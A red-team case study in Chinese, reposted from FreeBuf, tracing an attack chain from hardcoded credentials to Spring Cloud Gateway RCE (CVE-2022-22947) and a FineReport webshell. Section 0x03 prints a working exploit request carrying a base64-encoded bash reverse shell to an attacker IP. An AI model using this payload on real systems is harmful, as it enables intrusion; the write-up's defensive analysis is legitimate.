扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
文章作者:AlbertJay
文章来源:https://www.freebuf.com/articles/defense/437259.html
前言
攻防对抗中,红队的核心优势在于将看似孤立的脆弱点串联为致命攻击链。本文记录的实战案例始于一个被99%安全审计忽略的前端硬编码漏洞,却终结于核心业务系统的全面沦陷——这印证了ATT&CK框架的核心原则,防御失效往往源于薄弱环节的连锁反应。
0x01 缘起:一个被忽视的前端硬编码
在一次攻防演练实战中,作为红队成员,我在某企业业务系统的登录页面按下了F12。在Webpack打包的前端代码中,发现了一段令人咋舌的注释:
利用硬编码的凭证成功登录后台,但该账号仅有基础查看权限。常规漏洞扫描(SQL注入/XSS/文件上传)无果。
却在访问错误路径时发现了关键线索:
Spring Boot特征!立即启动目录扫描:
结果如下:
0x02 突破口:Druid监控与Heapdump分析
扫描发现存在Druid,尝试弱口令登录Druid后台成功(企业常见配置失误)。在SQL监控页面发现内网数据库地址:
更关键的是,heapdump文件可直接下载。使用Eclipse Memory Analyzer解析:
-
搜索关键词:password、secret、redis -
定位springframework.cloud.gateway.route.RouteDefinition对象 -
发现内网配置:
0x03 致命一击:Spring Cloud Gateway RCE(CVE-2022-22947)
网关的/actuator/gateway/routes端点暴露且无鉴权
符合CVE-2022-22947漏洞条件:
- 影响版本
:Spring Cloud Gateway < 3.1.1 或 < 3.0.7 - 利用原理
:恶意SpEL表达式注入路由过滤器
攻击步骤:
POST /actuator/gateway/routes/shell HTTP/1.1 Host: xx.xx.xx.xx Content-Type: application/json
{
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream()))}"
}
}],
"uri": "http://example.com"
}
实战如下:
刷新路由触发执行,成功获取Shell
0x04 权限固化:某报表平台文件覆盖漏洞
虽然已获得远程命令执行,但需要持久化控制。回到登录页面查看web路径发现该系统使用某软报表系统,有FineReport V9特征:
利用svg初始化漏洞覆盖尝试写入文件,可以看到写入成功
利用结果:构造执行命令,再次上传jsp文件,访问/svg.jsp?cmd=ifconfig成功执行系统命令
植入Webshell实现持久化
提权获取root权限
0x05 攻击链全景
完整攻击路径:
结语
本案例的攻陷路径映射到ATT&CK框架,暴露出企业防御的深层缺陷:
凭证管理失效:硬编码凭证→弱口令复用→数据库密钥泄露的连锁反应,暴露了凭证生命周期管理的全面失控;
内生安全机制缺失:Spring Cloud Gateway未修复漏洞(CVE-2022-22947)与暴露的Actuator端点,证明“默认安全”配置的全面失效;
威胁传导盲区:从Druid监控系统到报表平台(FineReport)的权限跃迁,揭示供应链漏洞如何成为横向移动的“隐形桥梁”。
原文始发于微信公众号(神农Sec):一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论